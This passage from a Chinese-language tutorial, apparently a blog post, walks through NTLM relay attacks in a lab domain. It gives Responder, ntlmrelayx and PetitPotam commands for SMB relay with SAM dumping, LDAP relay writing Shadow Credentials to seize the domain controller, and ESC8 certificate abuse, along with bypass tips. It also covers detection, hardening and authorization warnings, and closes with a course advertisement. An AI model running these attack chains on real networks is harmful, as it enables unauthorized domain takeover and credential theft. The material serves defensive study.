LDAP 服务。重点协议可以不一样只要 NTLMSSP 数据包格式兼容就可以跨协议中继这也是 ntlmrelayx 核心能力。场景 3LDAP 中继高危害现代内网重点利用将 NTLM 认证中继到域控 389 端口 LDAP 服务如果中继成功攻击者以受害者账号身份操作 LDAP如果受害者是机器账号可写入Shadow‑Credentials 影子凭证给机器账号添加证书后续拿到域控权限不需要 DCSync、不需要 krbtgt 哈希。限制域控没有开启 LDAP 签名和通道绑定保护。场景 4AD‑CS 中继 ESC8中继 NTLM 认证到 AD‑CS 证书服务 Web 注册接口滥用 ESC8 漏洞以受害者身份申请证书再使用证书进行 Kerberos 认证获取权限。限制服务没有开启 EPA 扩展身份验证。5. 靶场环境准备与工具环境部署靶场环境域环境 corp.local域控 DC01192.168.10.10开启 LDAP未强制 LDAP 通道绑定SMB 强制签名普通域机器 PC01192.168.10.20SMB 签名协商非强制可中继攻击机 Kali192.168.10.100Impacket 全套工具、Responder。工具说明ResponderLLMNR、NBT‑NS、mDNS 名称解析欺骗工具欺骗内网主机把解析流量导向攻击机ntlmrelayx.pyImpacket 套件中继核心工具接收 NTLM 认证流量转发至目标中继完成后执行后续攻击动作dump SAM、添加影子凭证等注意Responder 和 ntlmrelayx 端口冲突使用中继模式时Responder 关闭 SMB、HTTP 服务由 ntlmrelayx 监听对应端口。环境安装# 更新impacket建议使用最新版本支持--shadow‑credentials等参数 pip3 install impacket --upgrade git clone https://github.com/lgandx/Responder.git6. 场景一LLMNR/NBT‑NS 投毒 SMB 中继完整复现攻击目标内网 PC01192.168.10.20未强制 SMB 签名当内网用户访问一个不存在的 SMB 共享DNS 解析失败后Windows 会广播 LLMNR/NBT‑NS 查询Responder 进行投毒让受害者向攻击机进行 SMB 认证ntlmrelayx 将认证中继到 PC01。步骤 1启动 Responder关闭 SMB、HTTP 服务交给 ntlmrelayx 接管修改 Responder 配置文件Responder.confSMB Off HTTP Off HTTPS Off只保留 LLMNR、NBT‑NS、mDNS 开启负责名称投毒。python3 Responder.py -I eth0步骤 2开启 ntlmrelayx中继目标指向 PC01开启 smb2 支持impacket‑ntlmrelayx.py -t smb://192.168.10.20 -smb2support参数说明-t指定中继目标地址-smb2support支持 SMB2/3现代 Windows 必须带上该参数否则中继失败。ntlmrelayx 会监听本机 SMB、HTTP 端口接收受害者发送过来的 NTLM 认证包。步骤 3触发受害者主机认证在受害者机器上访问一个不存在的 SMB 路径例如\\fakeTestShareDNS 解析失败触发 LLMNR 广播。Responder 投毒回复解析结果为攻击机 IP。受害者主动向攻击机发起 SMB NTLM 认证。步骤 4中继执行结果ntlmrelayx 收到 NTLM 认证将整套认证中继转发给目标 PC01。如果受害者账号在 PC01 具备本地管理员权限ntlmrelayx 会自动 dump SAM 本地账号哈希同时开启交互式 shell可执行系统命令如果权限不足会提示 access denied。现象攻击机终端打印 relay success导出 sam 哈希保存到本地文件。重要限制如果目标机器开启强制 SMB 签名中继直接返回失败。域控默认强制 SMB 签名smb://dc_ip 中继域控会失败。7. 场景二HTTP 到 SMB、HTTP 到 LDAP 跨协议中继实战NTLM 支持跨协议中继受害者访问攻击者的 HTTP 服务浏览器弹出 Windows 集成 NTLM 认证拿到认证之后转发给 SMB 或者 LDAP 服务。HTTP‑SMBimpacket‑ntlmrelayx.py -t smb://192.168.10.20 -smb2support受害者浏览器访问http://攻击机ip触发 NTLM 弹窗认证用户输入账号密码之后认证包被中继到目标 SMB。HTTP‑LDAP指向域控impacket‑ntlmrelayx.py -t ldap://192.168.10.10前提条件域控 LDAP 没有启用 LDAP 签名、通道绑定保护否则中继失败。8. 场景三LDAP 中继Shadow‑Credentials 影子凭证提权LDAP 中继是现代红队重点技术不需要攻破 SMB 签名限制。域控 SMB 强制签名但 389 端口 LDAP 如果没有开启通道绑定就可以执行 LDAP 中继。如果被中继的身份是域内机器账号就可以通过 LDAP 写入 Shadow‑Credentials 属性为该机器账号添加证书后续利用证书拿到该机器权限如果是域控机器账号直接获取域控权限拿下整个 AD 域。完整命令PetitPotam 配合 ntlmrelayx# ntlmrelayx监听中继目标是域控ldap开启影子凭证模块 impacket‑ntlmrelayx.py -t ldap://192.168.10.10 --shadow‑credentials --remove‑mic --smb2support参数说明--shadow‑credentials中继成功后自动写入影子凭证--remove‑mic移除 MIC 完整性校验绕过部分校验限制当域控机器账号向攻击机完成 NTLM 认证认证被中继到 ldap自动给 DC 机器账号写入影子凭证输出生成的证书 pem 文件。拿到证书后使用 gettgtpkinit.py 获取 TGT 票据完成域控接管。风险提示该操作会修改 AD 对象属性红蓝对抗测试结束务必清理影子凭证残留会造成持久化后门。9. 场景四AD‑CS 中继ESC8 证书滥用ESC8 漏洞原理NTLM 中继到 AD‑CS 证书服务 Web 注册接口以受害者身份申请用户证书使用证书进行 Kerberos 认证。前提条件AD‑CS 服务没有开启 EPA 扩展身份验证保护。ntlmrelayx 命令示例impacket‑ntlmrelayx.py -t http://192.168.10.10/certsrv/ -smb2support中继成功后工具自动申请证书输出 pfx 证书文件。10. PetitPotam无投毒强制机器账号向攻击者认证传统 LLMNR 投毒依赖内网广播需要受害者主动触发访问不存在共享PetitPotam 可以强制远程 Windows 主机包括域控主动向攻击者 IP 发起 NTLM 认证不需要用户交互不需要广播欺骗。原理滥用 MS‑EFSRPC 协议接口调用 EfsRpcOpenFileRaw 函数强制目标机器访问攻击者指定 UNC 路径触发机器账号的 NTLM 认证。注意PetitPotam 不是漏洞是协议特性高版本 Windows 已经打补丁限制该行为。使用示例攻击机已经开启 ntlmrelayx 监听另一终端执行 PetitPotampython3 PetitPotam.py 192.168.10.100 192.168.10.10参数攻击机 IP目标机器 IP强制目标机器域控向攻击机 SMB 发起认证。此时域控机器账号的 NTLM 认证到达 ntlmrelayx中继转发至 ldap写入 Shadow‑Credentials 影子凭证完成域提权。攻击链路总结PetitPotam 强制 DC 认证到攻击机 → ntlmrelayx 接收 DC 机器账号 NTLM → 中继到 ldap://DC → 添加 Shadow‑Credentials → 获取 DC 权限。11. 中继攻击常见限制与实战绕过思路限制 1目标开启强制 SMB 签名SMB 中继失效绕过思路放弃 SMB 协议改用 LDAP 中继、AD‑CS ESC8 中继LDAP 不受 SMB 签名控制。限制 2MIC 消息完整性校验导致中继失败部分环境 NTLM 数据包带有 MIC 完整性校验数据包转发后校验不通过直接拒绝。ntlmrelayx 参数--remove‑mic移除 MIC 字段实现绕过但是部分系统补丁之后该绕过失效。限制 3域控开启 LDAP 签名与通道绑定LDAP 中继失效该保护是微软官方防护手段开启之后 LDAP 中继彻底失效几乎没有简单绕过方式。限制 4AD‑CS 开启 EPA 扩展保护ESC8 中继失效EPA 保护 HTTP 集成 NTLM 认证ESC8 无法中继无简易绕过。限制 5Windows 补丁封堵 PetitPotam EfsRpc 接口新版 Windows Server 关闭 EfsRpcOpenFileRaw 调用PetitPotam 失效可以寻找其他强制认证原语PrinterBug 等强制触发认证。限制 6Net‑NTLMv1 与 v2 差异NTLMv1 应答更容易爆破现代 Windows 默认使用 NTLMv2爆破难度高但依旧可以中继。中继不在乎 v1/v2 版本只要应答合法就可以转发。12. 红队实战工作流与真实内网利用思路真实红蓝对抗中 NTLM 中继标准工作流内网信息收集扫描内网机器识别哪些主机没有强制 SMB 签名部署 Responder ntlmrelayx开启 SMB、LDAP 中继方式 A依靠内网 LLMNR/NBT‑NS 投毒等待普通用户触发解析请求方式 B使用 PetitPotam/PrinterBug 强制域控、服务器机器账号向攻击机认证优先尝试 LDAP 中继写入 Shadow‑Credentials其次尝试 ESC8普通工作站做 SMB 中继 dump SAM获取凭证之后横向移动、权限维持。实战经验现代企业域控全部开启强制 SMB 签名SMB 直接中继域控已经几乎不可能LDAP 中继、ESC8 成为中继攻击主要利用方向。13. 蓝队视角日志检测、特征分析NTLM 中继攻击会留下系统事件日志SIEM 可以配置告警规则。SMB 中继相关事件 ID4624 登录成功事件目标服务器出现异常来源的 NTLM 登录登录账号是内网用户但是登录来源 IP 不是正常业务客户端是攻击者 IP4625 登录失败中继条件不满足时大量认证失败日志。LDAP 中继事件4662LDAP 对象属性操作事件当写入 Shadow‑Credentials 属性会触发 4662 日志监控该事件发现陌生客户端修改机器账号 Shadow‑Credentials 为高风险告警。网络层面特征内网出现大量 LLMNR、NBT‑NS 广播包对应 Responder 投毒行为大量机器向同一个陌生攻击机 IP 发起 SMB/HTTP NTLM 认证域控 LDAP 来自非业务 IP 的 NTLM 绑定请求。检测工具思路批量扫描内网主机 SMB 签名配置找出未强制签名风险主机审计域控 LDAP 通道绑定、EPA 配置状态定期巡检 AD 中机器账号 Shadow‑Credentials 属性发现异常证书数据。14. 全套防御加固方案组策略 注册表 系统配置NTLM 中继防御是多层防护单一配置无法完全阻断需要组合配置。加固 1全部主机强制启用 SMB 签名阻断 SMB 中继组策略路径计算机配置 → 策略 → Windows设置 → 安全设置 → 本地策略 → 安全选项Microsoft 网络客户端对通信进行数字签名始终 → 启用Microsoft 网络服务器对通信进行数字签名始终 → 启用PowerShell 命令本地配置Set‑SmbClientConfiguration -RequireSecuritySignature $true -Force Set‑SmbServerConfiguration -RequireSecuritySignature $true -Force注意全部工作站、服务器都要配置不仅仅域控只配置域控普通服务器依旧会被 SMB 中继攻击。加固 2域控启用 LDAP 签名与 LDAP 通道绑定阻断 LDAP 中继、影子凭证中继域控制器组策略配置启用 LDAP 服务器签名要求开启通道绑定保护。开启之后 389 端口 LDAP NTLM 中继直接拒绝。加固 3AD‑CS 证书服务器开启 EPA 扩展身份验证保护防护 ESC8 中继IIS 站点 certsrv 应用程序开启扩展保护身份验证 EPA防护 HTTP NTLM 中继。加固 4关闭 LLMNR、NBT‑NS 协议阻断名称投毒组策略关闭 LLMNR防火墙拦截 UDP 137/138 NBT‑NS 流量从源头阻止 Responder 广播投毒。加固 5限制 NTLM 协议使用优先 Kerberos使用组策略 Restrict NTLM审计 NTLM 流量逐步限制、禁止 NTLM优先使用 Kerberos 身份认证。加固 6系统更新打全安全补丁修复 PetitPotam 等强制认证原语对应的协议接口阻止攻击者强制机器账号对外认证。加固 7网络边界防护内网防火墙限制不必要出站 SMB445访问陌生内网 IP限制机器账号随意向外发起 SMB 连接。15. 高频误区与踩坑排错总结误区拿到 Net‑NTLM 应答哈希可以直接哈希传递 PtH 登录错误。Net‑NTLM Response 是针对单次 Challenge 的应答只能中继转发不能直接 PtH只可以拿来 hashcat 爆破出明文密码。误区SMB 中继可以直接中继域控默认失败域控强制 SMB 签名可以改用 LDAP 中继LDAP 389。误区开启协商 SMB 签名就可以防御中继错误协商签名只有两端同时支持才启用攻击者可以在协商阶段拒绝签名协商模式无法防御中继必须配置 “始终” 强制签名。误区Responder 打开 SMB 同时打开 ntlmrelayx端口冲突会直接报错。使用中继场景 Responder.conf 必须关闭 SMB、HTTP 服务交由 ntlmrelayx 监听端口。中继成功但是权限不足dump 不出 SAM受害者账号不是目标机器本地管理员中继登录成功但是权限不够属于正常现象。中继得到的权限完全等于受害者账号权限。PetitPotam 执行成功但是 ntlmrelayx 没有收到认证检查防火墙 445 端口攻击机防火墙放行入站 SMB确认 impacket 版本足够新确认目标没有打补丁限制 EfsRpc 接口。LDAP 中继执行 Shadow‑Credentials 失败确认域控没有开启 LDAP 签名和通道绑定确认被中继账号是机器账号确认使用参数 --remove‑mic。16. 学习总结NTLM Relay 中继攻击是内网 AD 域渗透中威力巨大的中间人攻击核心逻辑不爆破密码转发 NTLM 挑战应答数据包借用受害者身份登录目标服务器。基础概念区分NTLM 哈希用于 PtHNet‑NTLM 应答用于中继SMB 签名是 SMB 中继的核心防护。四大场景SMB 中继、跨协议 HTTP 中继、LDAP 中继写影子凭证、AD‑CS ESC8 证书中继现代环境 LDAP 中继、ESC8 是主要攻击手段。攻击两种触发模式LLMNR/NBT‑NS 广播投毒PetitPotam 等强制认证原语无需用户交互。生效硬性条件目标不能强制对应协议签名保护域控 SMB 强制签名SMB 中继域控默认失败。防御多层组合全主机强制 SMB 签名域控开启 LDAP 签名 通道绑定AD‑CS 开启 EPA关闭 LLMNR/NBT‑NS限制 NTLM 协议系统打补丁。检测思路监控 4624 登录事件、4662 LDAP 属性修改事件监控内网 LLMNR 广播流量。再次提醒中继、名称投毒、强制认证技术仅限授权靶场、授权红蓝对抗环境使用严禁在未授权生产网络执行。最后网络安全需要学习那些知识网络安全零基础入门学习路线规划初级1、网络安全理论知识2天①了解行业相关背景前景确定发展方向。②学习网络安全相关法律法规。③网络安全运营的概念。④等保简介、等保规定、流程和规范。非常重要2、渗透测试基础一周①渗透测试的流程、分类、标准②信息收集技术主动/被动信息搜集、Nmap工具、Google Hacking③漏洞扫描、漏洞利用、原理利用方法、工具MSF、绕过IDS和反病毒侦察④主机攻防演练MS17-010、MS08-067、MS10-046、MS12-20等3、操作系统基础一周①Windows系统常见功能和命令②Kali Linux系统常见功能和命令③操作系统安全系统入侵排查/系统加固基础4、计算机网络基础一周①计算机网络基础、协议和架构②网络通信原理、OSI模型、数据转发流程③常见协议解析HTTP、TCP/IP、ARP等④网络攻击技术与网络安全防御技术⑤Web漏洞原理与防御主动/被动攻击、DDOS攻击、CVE漏洞复现5、数据库基础操作2天①数据库基础②SQL语言基础③数据库安全加固6、Web渗透1周①HTML、CSS和JavaScript简介②OWASP Top10③Web漏洞扫描工具④Web渗透工具Nmap、BurpSuite、SQLMap、其他菜刀、漏扫等恭喜你如果学到这里你基本可以从事一份网络安全相关的工作比如渗透测试、Web 渗透、安全服务、安全分析等岗位如果等保模块学的好还可以从事等保工程师。薪资区间6k-15k到此为止大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗想要入坑黑客网络安全的朋友给大家准备了一份282G全网最全的网络安全资料包免费领取7、脚本编程初级/中级/高级在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中面对复杂多变的网络环境当常用工具不能满足实际需求的时候往往需要对现有工具进行扩展或者编写符合我们要求的工具、自动化脚本这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中想要高效地使用自制的脚本工具来实现各种目的更是需要拥有编程能力.零基础入门建议选择脚本语言Python/PHP/Go/Java中的一种对常用库进行编程学习 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP IDE强烈推荐Sublime ·Python编程学习学习内容包含语法、正则、文件、 网络、多线程等常用库推荐《Python核心编程》不要看完 ·用Python编写漏洞的exp,然后写一个简单的网络爬虫 ·PHP基本语法学习并书写一个简单的博客系统 熟悉MVC架构并试着学习一个PHP框架或者Python框架 (可选) ·了解Bootstrap的布局或者CSS。8、超级黑客这部分内容对零基础的同学来说还比较遥远就不展开细说了贴一个大概的路线。网络安全工程师企业级学习路线视频配套资料国内外网安书籍、文档工具当然除了有配套的视频同时也为大家整理了各种文档和书籍资料工具并且已经帮大家分好类了。一些我自己买的、其他平台白嫖不到的视频教程要学习网安其实不难难的是坚持和相信自己我的经验是既然已经选定网安你就要相信它相信它能成为你日后进阶的高效渠道这样自己才会更有信念去学习才能在碰到困难的时候坚持下去。机会属于有准备的人这是一个实力的时代。人和人之间的差距不在于智商而在于如何利用业余时间只要你想学习什么时候开始都不晚不要担心这担心那你只需努力剩下的交给时间这份完整版的学习资料已经上传CSDN朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】